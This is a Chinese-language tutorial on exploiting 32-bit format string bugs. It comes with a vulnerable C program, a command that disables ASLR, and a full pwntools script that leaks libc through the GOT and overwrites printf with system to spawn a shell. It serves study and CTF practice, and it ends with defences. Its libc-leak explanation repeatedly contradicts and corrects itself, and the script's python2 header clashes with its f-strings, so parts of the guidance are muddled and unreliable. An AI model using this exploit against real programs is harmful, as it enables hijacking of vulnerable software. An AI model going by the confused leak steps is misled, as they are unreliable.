1. 项目概述在二进制安全领域格式化字符串漏洞是一个经典且威力巨大的漏洞类型。它不像栈溢出那样需要精确控制数据长度和覆盖返回地址而是利用程序员错误地将用户输入直接作为格式化字符串参数传递给printf、sprintf、fprintf等函数从而实现对程序内存的任意读写。对于32位程序而言由于其参数传递完全依赖于栈使得利用过程具有一种“确定性”和“可预测性”成为学习漏洞利用的绝佳切入点。今天我们就来深入拆解在32位环境下如何利用格式化字符串漏洞实现“覆盖写值”这一核心攻击手法。无论你是刚接触Pwn的新手还是想巩固基础的老手这篇文章都将带你从原理到实践完整走一遍利用链条。简单来说这个漏洞能让我们做到两件关键事任意内存读和任意内存写。读可以泄露关键地址比如libc基址、栈地址、程序代码段地址为后续利用铺路写则是攻击的终点我们可以修改函数指针如GOT表、修改关键变量、甚至覆盖返回地址最终劫持程序执行流。而“覆盖写值”正是利用%n系列格式化符将已输出的字符数写入指定地址的能力。理解并掌握它你就掌握了格式化字符串漏洞利用最核心的武器。2. 漏洞原理与栈布局深度解析要利用漏洞必须先理解其根源。格式化字符串漏洞的本质是格式化函数期望的参数数量与实际提供的参数数量不匹配。2.1 函数调用约定与栈帧回顾在32位x86架构下遵循cdecl调用约定函数参数从右向左依次压栈由调用者负责清理栈空间。我们来看一个正常的printf调用printf(%s %d %s, Hello World!, 233, \n);其对应的汇编和栈布局大致如下简化push offset string \n ; 第三个参数 push 233 ; 第二个参数 push offset string Hello World! ; 第一个参数 push offset format %s %d %s ; 格式字符串地址 call printf add esp, 0x10 ; 调用者清栈当printf开始执行时它会从栈顶ESP找到格式字符串的地址然后解析其中的格式化指示符如%s,%d。每解析一个它就认为栈上对应位置有一个参数并按照格式进行读取和输出。2.2 漏洞如何产生当程序员写出这样的代码时漏洞就产生了char buf[100]; fgets(buf, sizeof(buf), stdin); printf(buf); // 危险用户输入被直接当作格式字符串如果用户输入%x %x %xprintf会忠实地执行它从栈上读取格式字符串地址之后的内存内容并将其作为整数以十六进制打印出来。关键在于printf无法知道栈上哪些是“真正”传递给它的参数哪些只是栈上原有的数据。它完全信任格式字符串并按照其指示去“消费”栈上的数据。2.3 利用格式符%n实现写操作这是整个利用的灵魂。%n是一个特殊的格式化指示符它不用于输出而是用于写入。它的功能是将截至目前已成功输出的字符数量写入到对应参数所指向的内存地址中。这个参数必须是一个int *类型的指针。例如int count; printf(Hello%n, count); // count 将被赋值为 5 (Hello的长度)%n写入的是一个int4字节。其变体可以控制写入的宽度%hhn: 写入一个char1字节%hn: 写入一个short2字节%ln: 写入一个long4或8字节取决于平台%lln: 写入一个long long8字节在利用中我们最常用的是%hhn和%hn因为它们允许我们逐字节或逐双字节地精确写入内存这对于写入一个地址值如0x0804a010至关重要因为直接输出数亿个字符来让%n写入一个大数是不现实的。2.4 32位环境下的关键优势参数定位在32位程序中所有参数都在栈上。这意味着我们通过精心构造的格式字符串可以精确地控制%n要写入的地址。我们可以将目标地址例如某个函数的GOT表项地址放在栈上的某个位置然后通过%k$n其中k是偏移量告诉printf“请把已输出的字符数写入到栈上第k个参数指向的地址”。这里的k就是“偏移量”或“参数位置”。如何确定这个k呢通常通过输入如AAAA%p%p%p%p%p...或AAAA%1$x%2$x...来探测。当输出中出现0x41414141AAAA的十六进制时其出现的位置就对应着k。例如如果0x41414141出现在第6个输出的值中那么AAAA在栈上就是相对于格式字符串地址的第6个“参数”后续我们想利用AAAA所在位置存放的地址进行写操作时就需要使用%6$n。实操心得在动态调试时栈地址可能会因环境变量、参数等因素在gdb内外略有差异。一个稳健的做法是在利用脚本中先泄露一个栈地址然后基于这个泄露的地址来计算目标地址的相对偏移而不是硬编码绝对地址。3. 利用链拆解从信息泄露到任意地址写一次完整的利用通常分为两个阶段信息泄露和内存覆盖。3.1 第一阶段信息泄露Arbitrary Read目标是获取关键内存地址为第二阶段写操作提供“弹药”。泄露栈地址使用%p或%x连续打印栈内容找到指向我们输入缓冲区的指针或返回地址等。这有助于我们定位输入字符串在栈上的确切位置从而计算出用于写入的地址应该放在哪里即确定偏移量k。泄露代码段地址通过泄露栈上的返回地址如main的返回地址__libc_start_main的某个偏移可以计算出程序加载的基址如果PIE未开启则固定。泄露libc地址这是最关键的一步。通过泄露某个已调用函数如printf、puts在全局偏移表GOT中的值我们可以得到该函数在内存中的实际地址。由于libc中函数之间的相对偏移是固定的知道了printf的地址就能算出system的地址。如何泄露将printfgot.plt的地址例如0x804a010作为字符串的一部分放入栈中。假设它位于第m个参数位置使用%m$sprintf会将该地址处的值当作指针打印出该指针指向的字符串直到遇到\0。但这里我们不是要打印字符串而是要读取该地址存储的指针值本身。所以更常用的方法是使用%m$p它会直接以指针格式输出栈上第m个位置的值即我们放置的GOT地址但我们需要的是该地址所指向的内容。因此正确的姿势是让printf把我们放置的GOT地址当作一个char*参数用%s去读。但%s遇到\0会停止而地址值本身可能包含\0如0xf7e26b00的低位字节就是0x00这会导致读取不完整或失败。所以实践中我们常分两次泄露先泄露地址的低位部分通过构造使地址位于可打印区域或者更常见的是利用%m$p直接输出栈上第m个参数的值这个值就是GOT地址的内容吗不这需要理解。实际上我们需要的是把GOT地址放在栈上然后让printf去读这个地址指向的内容。这需要用到%s和地址参数的正确配合。一个更清晰的方法是构造payload如p32(printf_got) b%k$s其中k是p32(printf_got)这个数据在栈上作为参数的位置。%k$s会读取栈上第k个参数即printf_got这个值并将其作为一个指针打印出该指针指向的内存内容直到\0。但这里有个问题printf_got地址处存储的正是printf在libc中的地址这个值可能包含\0字节导致%s提前终止。因此更通用的方法是使用%k$p不%p打印的是参数本身的值而不是它指向的值。这里就需要用到一个小技巧如果我们可以确保要泄露的地址比如printf的实际地址最高位字节不为0在32位下libc地址通常形如0xf7xxxxxx那么用%s是可以的因为\0只在最低位可能出现。但更稳妥和通用的方法是使用read函数配合循环或者利用%k$p来泄露栈上其他已知位置的指针间接计算。在CTF中由于ASLR可能部分开启libc地址通常以0xf7或0xf6开头用%s泄露是可行的。在pwntools中这个过程被自动化了。3.2 第二阶段内存覆盖Arbitrary Write目标是修改特定内存地址的内容例如将printf的GOT表项改为system的地址。确定写入地址我们要修改哪里通常是某个函数的GOT表地址如printfgot.plt。确定写入值我们要写入什么通常是目标函数的地址如system的地址。通过第一阶段泄露的libc地址计算得出。构造写入payload这是最精巧的部分。我们需要将目标地址和用于写入的格式字符串一起布置到栈上。单次写入覆盖小值如果只想写入一个较小的数字比如修改一个标志位为1或2可以直接构造[addr]%[offset]$n。[addr]是4字节的目标地址%[offset]$n中的offset需要计算使得printf认为[addr]所在位置是第offset个参数。写入的值是[addr]这4字节加上之前输出的字符数。分字节写入覆盖大值如地址要写入一个像0xf7e17060system地址这样的大数不可能直接输出对应数量的字符。我们需要利用%hhn或%hn进行分块写入。例如将地址0xf7e17060拆分为四个字节0x60,0x70,0xe1,0xf7小端序。我们需要在栈上布置四个目标地址分别指向要修改的内存单元的四个字节。然后通过控制已输出字符数使它们分别等于0x60,0x70,0xe1,0xf7。由于已输出字符数是累积的我们需要精心计算每个%hhn之前的填充字符数。3.3 一个简化的覆盖示例假设我们要将地址0x804a010printfgot处的值改为0xdeadbeef。我们通过探测知道我们输入的字符串起始地址在栈上是第6个参数。我们将四个写入地址依次放入栈中\x10\xa0\x04\x08低字节,\x11\xa0\x04\x08,\x12\xa0\x04\x08,\x13\xa0\x04\x08。假设它们现在占据了第6、7、8、9个参数的位置。构造格式字符串[addr_low][addr_low1][addr_low2][addr_low3]%[value1]c%6$hhn%[value2-value1]c%7$hhn%[value3-value2]c%8$hhn%[value4-value3]c%9$hhnvalue10xef(目标低字节)value20xbe但需要计算累积字符数。value2的实际值 0xbe。由于0xbe可能小于0xef这里涉及整数溢出或借位问题。实际上我们通常按顺序写入从低到高的字节并利用%hhn只取低8位的特性。如果value2value1我们可以让value20x1be其低8位仍是0xbe。所以填充字符数需要计算差值时考虑进位。计算填充假设[addr]部分共16字节。要使第一个%hhn写入0xef需要已输出字符总数T1 0xef。所以第一个%[value1]c中的value1 0xef - 16。第二个%hhn要写入0xbe但此时已输出字符数已经是0xef我们需要输出额外的X个字符使得(0xef X) 0xff 0xbe。计算X (0xbe - 0xef) 0xff。因为0xbe - 0xef是负数所以X (0xbe - 0xef 0x100) % 0x100 0xcf。以此类推。这个过程非常繁琐极易出错。这正是为什么我们强烈推荐使用像pwntools这样的自动化工具的原因。它内部的fmtstr_payload函数可以自动完成所有这些复杂的计算和构造。4. 实战演练手工与自动化利用对比让我们通过一个具体的、有漏洞的程序来演示整个过程。考虑以下代码vuln.c#include stdio.h #include string.h #include unistd.h void vuln() { char buf[100]; while(1) { memset(buf, 0, sizeof(buf)); if(read(0, buf, sizeof(buf)-1) 0) { break; } printf(buf); // 格式化字符串漏洞 fflush(stdout); } } int main() { vuln(); return 0; }编译命令关闭保护gcc -m32 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln同时关闭系统ASLR以便演示生产环境或CTF中需要应对ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space4.1 手工利用步骤理解原理步骤1确定偏移量我们发送AAAA%p%p%p%p%p%p%p%p给程序。假设程序输出AAAA0x1 0x2 0x3 0x4 0x5 0x41414141 0x70257025...我们看到0x41414141出现在第6个位置从1开始计数。那么偏移量就是6。这意味着如果我们把某个地址放在payload的开头它将成为printf眼中的第6个参数。步骤2泄露libc地址我们需要泄露一个libc函数的地址比如printf。首先找到printf的GOT表地址objdump -R vuln | grep printf假设输出0804a010 R_386_JUMP_SLOT printf那么printf_got 0x0804a010。构造payloadp32(printf_got) b%6$s。注意这里用的是%6$s它会将栈上第6个参数即我们放置的printf_got地址的值作为一个指针打印出该指针指向的字符串直到遇到空字节。但printf_got地址处存放的是一个4字节的地址即printf在libc中的实际地址这个地址值可能包含空字节例如0xf7e26b00的最后一个字节是0x00这会导致%s提前停止读不到完整地址。因此更可靠的方法是使用%6$p不%p打印的是参数本身即0x0804a010这个数字而不是它指向的内容。这里需要一个技巧我们可以尝试泄露printf在返回地址附近的某个指针或者使用%6$p泄露栈上其他已知的libc指针。但为了直接获取printf的地址我们可以利用read函数读入整个地址尽管可能有空字节或者更常见的做法是因为libc地址通常高位不为0如0xf7xxxxxx我们可以用%6$s并接收4字节数据即使有空字节我们也能通过接收到的字节数判断并处理。在pwntools中我们可以用u32(p.recv(4))来读取即使有\x00也能正确接收。为了简化演示我们假设用%6$s能成功读取4字节实际可能因空字节截断需要调整。收到数据后解包得到printf_addr u32(data)。步骤3计算system地址我们需要知道目标libc中printf和system的偏移。可以动态调试获取gdb ./vuln (gdb) p printf $1 {text variable, no debug info} 0xf7e26bf0 printf (gdb) p system $2 {text variable, no debug info} 0xf7e17060 system计算偏移system_offset system_addr - printf_addr。或者如果你有目标libc文件libc.so.6可以用readelf -s libc.so.6 | grep printf和grep system查找符号地址计算差值。假设我们得到system_addr printf_addr - 0xfb90这个值因libc版本而异。步骤4构造写payload覆盖GOT现在我们要将printf_got处的值从printf_addr改为system_addr。我们需要写入4个字节0x60, 0x70, 0xe1, 0xf7假设system_addr 0xf7e17060小端序。我们需要在栈上放置4个地址0x0804a010,0x0804a011,0x0804a012,0x0804a013。假设经过填充对齐它们分别位于第6、7、8、9个参数位置。然后构造复杂的格式字符串计算每个%hhn前的填充字符数。这个过程极其繁琐我们直接给出一个概念性的payload结构[addr0][addr1][addr2][addr3]%[pad1]c%6$hhn%[pad2]c%7$hhn%[pad3]c%8$hhn%[pad4]c%9$hhn其中pad1, pad2, pad3, pad4需要精心计算使得累积输出的字符数模256后分别等于0x60, 0x70, 0xe1, 0xf7。步骤5触发system覆盖成功后下一次调用printf(buf)实际上会变成system(buf)。如果我们此时输入/bin/sh程序就会执行system(/bin/sh)从而获得shell。4.2 使用pwntools自动化利用手工构造不仅容易出错而且在不同环境下如gdb内外栈布局差异适应性差。使用pwntools可以极大简化流程。#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context(archi386, oslinux) context.log_level debug # 显示详细交互信息 # 启动进程 p process(./vuln) # 如果程序有ASLR可能需要attach gdb调试 gdb.attach(p) # 1. 自动计算偏移量 def leak(payload): p.sendline(payload) return p.recvuntil(\n, dropTrue) # 接收一行输出 # 使用FmtStr类自动探测偏移 fmt_str FmtStr(leak) offset fmt_str.offset log.success(fFormat string offset: {offset}) # 2. 获取ELF和libc对象 elf ELF(./vuln) libc ELF(/lib/i386-linux-gnu/libc.so.6) # 根据你的系统修改libc路径 # 3. 泄露printf的地址 printf_got elf.got[printf] log.info(fprintfgot: {hex(printf_got)}) # 构造payload泄露地址。注意这里使用 %{offset}$s 可能会因空字节截断。 # 更稳健的方法是使用 %{offset}$p 泄露栈上其他已知的libc指针然后计算。 # 但为了演示直接泄露GOT我们采用另一种常见方法利用格式化字符串的“任意读”特性但需要处理空字节。 # 我们可以先泄露printf地址的低位部分如果高位固定或者分两次泄露。 # 这里我们采用一个技巧发送 p32(printf_got) b% str(offset) b$s # 然后接收数据前4字节是地址本身后面是泄露的内容可能被空字节截断。 # 我们换一种更通用的方法泄露栈上已有的libc地址。 # 先发送 %{offset}$p 多次观察输出找到一个指向libc的地址。 # 假设我们通过手动探测发现第12个参数是一个libc地址例如 __libc_start_main243 # 那么 # p.sendline(%12$p) # libc_leak int(p.recvuntil(\n, dropTrue), 16) # 计算libc基址 libc_base libc_leak - libc.sym[__libc_start_main] - 243 # system_addr libc_base libc.sym[system] # 为了简化我们假设 offset6并且我们可以用 %6$s 泄露printf地址无空字节问题。 payload_leak p32(printf_got) f%{offset}$s.encode() p.sendline(payload_leak) # 接收的数据前4字节是 printf_got 地址后面4字节是 printf 的实际地址 data p.recv(8) # 接收8字节 printf_addr u32(data[4:8]) log.success(fLeaked printf address: {hex(printf_addr)}) # 4. 计算system地址 # 方法一如果知道libc版本和偏移 # system_offset 0xf7e17060 - 0xf7e26bf0 # 示例偏移需要根据实际泄露的值计算 # system_addr printf_addr system_offset # 方法二使用pwntools的libc对象自动计算需要知道libc版本 # 这里假设我们使用的是正确的libc文件 libc.address printf_addr - libc.sym[printf] # 设置libc基址 system_addr libc.sym[system] log.success(fCalculated system address: {hex(system_addr)}) # 5. 构造格式化字符串payload覆盖printf_got为system_addr # pwntools的fmtstr_payload函数会自动处理所有复杂的计算和构造 log.info(Constructing format string payload...) payload_write fmtstr_payload(offset, {printf_got: system_addr}) # fmtstr_payload 参数说明 # offset: 我们控制的第一个格式化字符串参数的偏移 # writes: 一个字典{address: value} 表示要将value写入address处 # numbwritten: 已经输出的字符数通常为0 # write_size: 写入大小byte/short/int对应 %hhn/%hn/%n # 6. 发送覆盖payload p.sendline(payload_write) log.info(Payload sent. printfgot should be overwritten.) # 7. 此时下一次printf调用将变成system。我们发送/bin/sh来getshell p.sendline(b/bin/sh\x00) # 发送 /bin/sh 字符串 # 8. 尝试交互 p.interactive()脚本关键点解析FmtStr类用于自动探测偏移量。它通过发送一系列%p或%x探测字符串并分析返回来确定偏移。elf.got[printf]方便地获取GOT表地址。libc.sym[printf]和libc.sym[system]获取libc中函数的偏移。设置libc.address后libc.sym[xxx]就是实际地址。fmtstr_payload(offset, writes, numbwritten0, write_sizebyte)核心函数。它接收偏移量和一个写入字典自动生成复杂的格式化字符串payload处理所有繁琐的地址对齐、填充计算和%hhn链构造。write_sizebyte表示使用%hhn逐字节写入这是最常用的因为它最灵活。注意事项在实际CTF或渗透测试中libc版本可能未知。你需要先泄露至少两个libc函数的地址然后通过在线库如 libc database: https://libc.blukat.me/查询可能的libc版本从而确定各函数偏移。或者如果程序提供了其他信息泄露点如输出libc中某个字符串的地址也可以用来确定libc基址。5. 常见问题与高级技巧5.1 偏移量计算不准确问题在gdb中调试得到的偏移量直接运行程序时可能发生变化。原因gdb环境会向栈中压入一些额外的环境变量和信息导致栈布局与独立运行时有细微差别。解决使用FmtStr类在真实交互中动态探测偏移。如果必须手动计算可以尝试在payload前添加几个无关字符如AAAA作为填充然后使用类似%p%p%p...的方式观察0x41414141出现的位置。多试几次或者写一个小脚本暴力尝试偏移量从1到50。5.2 写入地址包含空字节问题要覆盖的地址如GOT地址0x0804a010或要写入的地址如system地址0xf7e17060可能包含\x00字节。\x00是字符串终止符会导致printf在读取格式字符串时提前停止。解决调整顺序对于要写入的地址system_addr我们可以通过控制写入顺序先写高位字节如0xf7再写低位字节。因为%hhn写入的是已输出字符数的低8位我们可以通过大量输出使字符数绕回模256来写入小值。例如要写入0x10我们可以输出0x110个字符其低8位也是0x10。利用整数溢出这是常用技巧。如果要写入的值v小于当前已输出字符数c我们可以输出256 v - (c % 256)个字符使得(c 输出) % 256 v。pwntools的fmtstr_payload已经自动处理了这些计算。地址本身包含空字节如果目标地址如0x0804a000包含\x00在将其放入格式字符串时会被截断。可以尝试将地址放在格式字符串的末尾并用%k$n指定位置但这样地址可能无法对齐到参数边界。更常见的做法是寻找一个不包含空字节的、指向目标地址附近的指针或者利用程序已有的指针。5.3 应对ASLR地址空间布局随机化问题系统开启ASLR后栈地址、libc基址每次运行都变化。解决信息泄露利用格式化字符串漏洞的“读”能力泄露栈上的返回地址或libc指针。这是绕过ASLR的关键第一步。计算基址通过泄露的地址减去该地址在libc或程序中的固定偏移得到基址。构造利用链在获得基址后后续的写操作地址就可以计算出来了。5.4 写入值过大导致输出时间过长或程序崩溃问题如果要写入的值很大如0xf7e17060直接使用%n需要输出约40亿个字符不现实。解决必须使用%hhn或%hn分块写入。pwntools的fmtstr_payload默认使用write_sizebyte即%hhn正是为了解决这个问题。5.5 格式化字符串在堆或全局变量中问题漏洞点printf(buf)中的buf可能在堆上malloc分配或全局变量区.bss而不是栈上。影响我们无法直接通过栈偏移来定位我们的输入。但是如果我们可以泄露堆地址或全局变量地址并且知道其与目标写入地址的相对关系仍然可以构造利用。这通常需要结合其他漏洞如堆溢出、UAF或更复杂的内存布局知识。5.6 利用%n之外的写原语%n系列是最直接的写操作但并非唯一。%*width*$n可以指定写入参数的索引。%c配合%n可以精确控制输出的字符数从而控制写入的值。pwntools内部就是利用%c进行填充。6. 防御措施与检测理解了攻击才能更好地防御。作为开发者应该永远不要使用用户输入作为格式化字符串这是铁律。使用printf(%s, user_input)而不是printf(user_input)。使用安全的函数对于格式化输出到字符串使用snprintf并指定最大长度。编译器保护开启编译器的相关保护选项如-Wformat-securityGCC它会对不安全的格式化字符串用法发出警告。运行时保护一些安全机制如FORTIFY_SOURCE会在编译时检查格式化字符串的安全性。代码审计定期进行代码审计查找所有使用printf、sprintf、fprintf、syslog等函数的地方确保格式字符串是常量。作为安全研究人员或CTF选手检测此类漏洞的方法包括静态分析使用工具如grep搜索代码中的printf、sprintf等函数检查其第一个参数是否是变量。模糊测试向程序输入大量包含%p、%x、%s、%n的字符串观察程序输出是否异常如泄露内存内容或崩溃。动态分析在调试器中运行程序在格式化函数处下断点观察其参数是否来自用户输入。7. 总结与延伸思考格式化字符串漏洞在32位环境下的利用因其栈传参的确定性成为学习二进制漏洞利用的经典案例。核心在于理解%n系列格式化符的写内存能力以及如何通过控制栈布局来让printf将任意地址当作%n的参数。整个利用过程可以概括为定位偏移 - 泄露信息地址- 计算目标 - 构造写payload - 覆盖内存 - 劫持控制流。虽然手工构造能加深理解但在实战中使用pwntools等自动化工具是更高效、更可靠的选择。最后需要强调的是本文所述技术仅用于安全研究和CTF竞赛旨在帮助大家理解漏洞原理提升防御能力。在实际系统中利用此类漏洞是非法行为。作为安全从业者我们的责任是发现并修复漏洞共同构建更安全的数字世界。对于想进一步深入的同学可以研究64位下的格式化字符串漏洞参数部分通过寄存器传递以及如何结合其他漏洞如堆溢出、栈溢出进行更复杂的利用。格式化字符串的利用艺术远不止于此%n只是开始%a、%S等格式化符在特定场景下也可能有奇效。保持好奇持续学习才是安全研究的魅力所在。